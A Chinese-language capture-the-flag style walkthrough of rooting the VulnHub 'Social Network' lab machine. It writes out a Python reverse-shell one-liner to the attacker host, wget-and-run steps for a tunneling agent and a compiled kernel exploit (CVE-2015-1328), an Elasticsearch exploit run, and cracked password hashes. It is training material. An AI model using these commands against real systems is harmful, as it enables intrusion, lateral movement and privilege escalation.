0x01、靶机介绍
名称:BOREDHACKERBLOG: SOCIAL NETWORK
发布日期:29 Mar 2020
Download (Mirror): https://download.vulnhub.com/boredhackerblog/medium_socnet.ova
0x02 靶机目标
获取靶机root权限
0x03 工具准备
- Venom下载地址:https://github.com/Dliv3/Venom/
- MD5密码查询网站:https://cmd5.com/
0x04 详细步骤
一、网络扫描
同网段IP地址扫描:
sudo arp-scan -I eth0 -l
发现靶机IP地址为192.168.0.109
对目标靶机进行全端口扫描
sudo nmap -p- 192.168.0.109
发现目标靶机开放了TCP22、5000端口
识别靶机端口开放服务
sudo nmap -p22,5000 -sV 192.168.0.109
发现TCP5000端口,开放有Python2,Web服务
二、Web信息收集
用浏览器访问http://192.168.0.109:5000,但在页面上并没有发现有用的信息
对http://192.168.0.109:5000进行目录扫描
sudo dirsearch -u http://192.168.0.109:5000
发现存在/admin目录
三、Web 命令执行漏洞与反弹Shell
浏览器访问http://192.168.0.109:5000/admin,发现可以执行命令
使用Python反弹shell
使用nc在Kali主机上监听TCP5555端口
sudo nc -lnvp 5555
在http://192.168.0.109:5000/admin输入Python Shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
发现收到Shell为docker主机的root权限
Tip:判断主机为Docker容器的两种方法:
方法一:确认根目录下是否存在.dockerenv文件
ls /.dockerenv
方法二:查看/proc/1/cgroup是否存在docker目录
cat /proc/1/cgroup
四、内网穿透
内网扫描
ip address 发现内网段为172.17.0.3/16网段
内网主机扫描,发现172.17.0.1,172.17.0.2,172.17.0.3为存活主机
for i in $(seq 1 254); do ping -c 1 172.17.0.$i; done
部署Venom内网穿透工具
在Kali主机Venom目录启动Python3 Http Server
python3 -m http.server 80
启动Venom管理端,监听本地9999端口
./admin_linux_x64 -lport 9999
靶机部署Venom客户端
cd /tmp
wget -c http://192.168.0.108/agent_linux_x64
chmod +x agent_linux_x64
./agent_linux_x64 -rhost 192.168.0.108 -rport 9999
在Kali主机Venom管理端可以看到有主机上线
查看、控制Venom节点、启动socks隧道
五、挂Socks内网扫描
修改proxychains配置
vi /etc/proxychains4.conf
修改最后一行为:
socks5 127.0.0.1 1080
挂代理启动扫描,发现172.17.0.1,172.17.0.3相同,172.17.0.2存在9200端口
sudo proxychains nmap -Pn -sT -sV 172.17.0.1
sudo proxychains nmap -Pn -sT -sV 172.17.0.2
sudo proxychains nmap -Pn -sT -sV 172.17.0.3
六、利用Elasticsearch获取目标靶机登录用户名和密码
搜索Elasticsearch漏洞
searchsploit Elasticsearch
复制36337.py到当前目录,通过查看该python脚本得知该使用python2
cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
向Elasticsearch写入一条数据(如果不写入数据,攻击代码无法执行)
proxychains curl -XPOST '172.17.0.2:9200/twitter/user/yren' -d '{"name":"Wu"}'
挂proxychains攻击172.17.0.2 9200端口
sudo proxychains python2 36337.py 172.17.0.2
查询用户身份,发现是root权限
在根目录下发现passwords文件,内含用户名一些用户名和密码
破解MD5加密明文(两种方法)
方法一:使用Hashcat破解
根据Format提示,密码是由8位组成,前四位是数字,后四位是小写字母,可以是用Hashcat
1. 把hash提取出来,保存为一个文件pwd.hash
2. -m 0 指哈希类型是md5;-a 3 指掩码攻击;?d代表数字;?l代表小写字母
cat pwd.hash
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
hashcat --username -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force
hashcat --username -m 0 -a 3 pwd.hash ?d?d?d?d?l?l?l?l --force --show
john:3f8184a7343664553fcb5337a3138814:1337hack
test:861f194e9d6118f3d942a72be3e51749:1234test
admin:670c3bbc209a18dde5446e5e6c1f1d5b:1111pass
root:b3d34352fc26117979deabdf1b9b6354:1234pass
jane:5c158b60ed97c723b673529b8a3cf72b:1234jane
方法二:使用第三方密码查询平台(如:https://cmd5.com/)获取明文密码
通过依次尝试,john:1337hack可以登录目标靶机
ssh john@192.168.0.109
七、Linux内核提权
尝试john用户提权,但提权失败
sudo -s
- 尝试内核提权
- 查询内核版本号,版本3.13
uname -a
searchsploit linux 3.13.0 ubuntu priv
由于靶机没有gcc,且查看37292.c
脚本发现,还需编译ofs-lib.so
文件。所以考虑把ofs-lib.so
文件从lib文件复制出,并注释掉37292.c
相关代码再便宜,并将编译后的文件和ofs-lib.so
共同上传目标靶机
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
注释掉37292.c的139-147行
gcc -o exp 37292.c
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
将编译好的exp
和ofs-lib.so
上传至目标靶机
kali主机在tmp目录启动http server
python3 -m http.server 80
在靶机上下载exp和ofs-lib.so
cd /tmp
wget http://192.168.0.108/exp
wget http://192.168.0.108/ofs-lib.so
执行exp
文件,提权成功。
chmod +x exp
./exp
id